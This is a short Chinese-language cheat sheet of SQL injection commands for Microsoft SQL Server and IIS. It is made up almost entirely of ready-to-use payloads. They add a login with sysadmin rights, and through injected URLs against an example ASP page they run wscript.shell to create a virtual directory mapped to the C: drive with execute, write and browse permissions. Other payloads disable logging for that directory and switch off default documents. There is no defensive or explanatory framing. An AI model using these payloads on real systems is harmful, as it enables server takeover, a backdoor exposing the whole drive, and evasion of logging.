一些SQL注入中的命令

1、加管理员

exec master..sp_addlogin UserName,Password
exec master..sp_addsrvrolemember UserName,sysadmin

 2、加虚拟目录

http://abc.com/abc.asp?id=1;declare @s varchar(21) set @s='wscript.shell'declare @o int exec sp_oacreate @s,@o out;exec sp_oamethod @o,'run',NULL,'cscript C:/Inetpub/AdminScripts/mkwebdir.vbs -c localhost -w "1" -v "0x07c2","c:/"';exec sp_oamethod @o,'run',NULL,'cscript C:/Inetpub/AdminScripts/chaccess.vbs -a w3svc/1/ROOT/0x07c2 %2Bexecute';exec sp_oamethod @o,'run',NULL,'cscript C:/Inetpub/AdminScripts/chaccess.vbs -a w3svc/1/ROOT/0x07c2 %2Bwrite';exec sp_oamethod @o,'run',NULL,'cscript C:/Inetpub/AdminScripts/chaccess.vbs -a w3svc/1/ROOT/0x07c2 %2Bbrowse';exec sp_oamethod @o,'run',NULL,'cscript C:/Inetpub/AdminScripts/chaccess.vbs -a w3svc/1/ROOT/0x07c2 %2Bwrite';--

http://abc.com/abc.asp?id=1;declare @s varchar(21) set @s='wscript.shell'declare @o int exec sp_oacreate @s,@o out;exec sp_oamethod @o,'run',NULL,'cscript C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/1/root/0x07c2/DontLog 1'

http://abc.com/abc.asp?id=1;declare @s varchar(21) set @s='wscript.shell'declare @o int exec sp_oacreate @s,@o out;exec sp_oamethod @o,'run',NULL,'cscript C:/Inetpub/AdminScripts/adsutil.vbs set w3svc/1/root/0x07c2/EnableDefaultDoc 0'